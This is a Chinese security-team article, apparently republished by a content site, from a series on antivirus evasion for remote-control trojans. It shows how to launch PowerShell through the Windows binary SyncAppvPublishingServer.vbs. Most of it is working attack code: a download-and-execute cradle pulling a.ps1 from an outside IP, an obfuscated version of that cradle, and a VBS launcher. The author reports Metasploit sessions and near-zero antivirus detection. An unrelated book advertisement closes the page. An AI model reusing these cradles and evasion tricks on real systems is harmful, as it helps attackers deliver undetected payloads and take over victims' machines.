内容简介：声明：
声明： Tide安全团队原创文章，转载请声明出处！ 文中所涉及的技术、思路和 工具 仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！
声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！
文章打包下载及相关软件下载： https://github.com/TideSec/BypassAntiVirus
一、SyncAppvPublishingServer 简介
Windows上有两个版本的SyncAppVPublishingServer工具，它们是：SyncAppvPublishingServer.exe、SyncAppvPublishingServer.vbs,可以用他们来取代powershell。
二、SyncAppvPublishingServer 使用
在powershell下执行
SyncAppvPublishingServer.vbs break;powershell代码
测试过程中使用的是SyncAppvPublishingServer.vbs，SyncAppvPublishingServer.exe 没有成功
在cmd里是无法执行powershell命令的
该命令需要在powershell里进行执行
因此powershell脚本都可以通过SyncAppvPublishingServer.vbs来运行。
三、SyncAppvPublishingServer 执行payload
使用powershell木马。
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/a.ps1')"
将powershell脚本进行混淆使用IEX远程加载执行payload。
$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.80.xxx/ps/a.ps1'')'.Replace('123','adString');IEX ($c1+$c2)
msf可正常上线。
在实战中也可以直接写成vbs脚本 run.vbs
Set oShell=WScript.CreateObject("WScript.Shell")
oShell.run "SyncAppvPublishingServer.vbs ;$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.80.xxx/ps/a.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
点击run.vbs也可以正常上线。
火绒、360均没有检测出
放在virustotal.com上a.bat查杀率为1/56
四、参考资料
Powershell Without Powershell.exe
https://www.youtube.com/watch?v=sema3EYnP2c
guān
zhù
wǒ
men
Tide安全团队正式成立于2019年1月 ， 是新潮信息旗下以互联网攻防技术研究为目标的安全团队，团队致力于分享高质量原创文章、开源安全工具、交流安全技术，研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以 关注团队官网: http://www.TideSec.com 或长按二维码关注公众号：
以上所述就是小编给大家介绍的《远控免杀专题(54)-白名单SyncAppvPublishingServer.vbs执行payload》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持！
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
奔跑吧 Linux内核
张天飞 / 人民邮电出版社 / 2017-9-1 / CNY 158.00
本书内容基于Linux4.x内核，主要选取了Linux内核中比较基本和常用的内存管理、进程管理、并发与同步，以及中断管理这4个内核模块进行讲述。全书共分为6章，依次介绍了ARM体系结构、Linux内存管理、进程调度管理、并发与同步、中断管理、内核调试技巧等内容。本书的每节内容都是一个Linux内核的话题或者技术点，读者可以根据每小节前的问题进行思考，进而围绕问题进行内核源代码的分析。 本书内......一起来看看 《奔跑吧 Linux内核》 这本书的介绍吧!
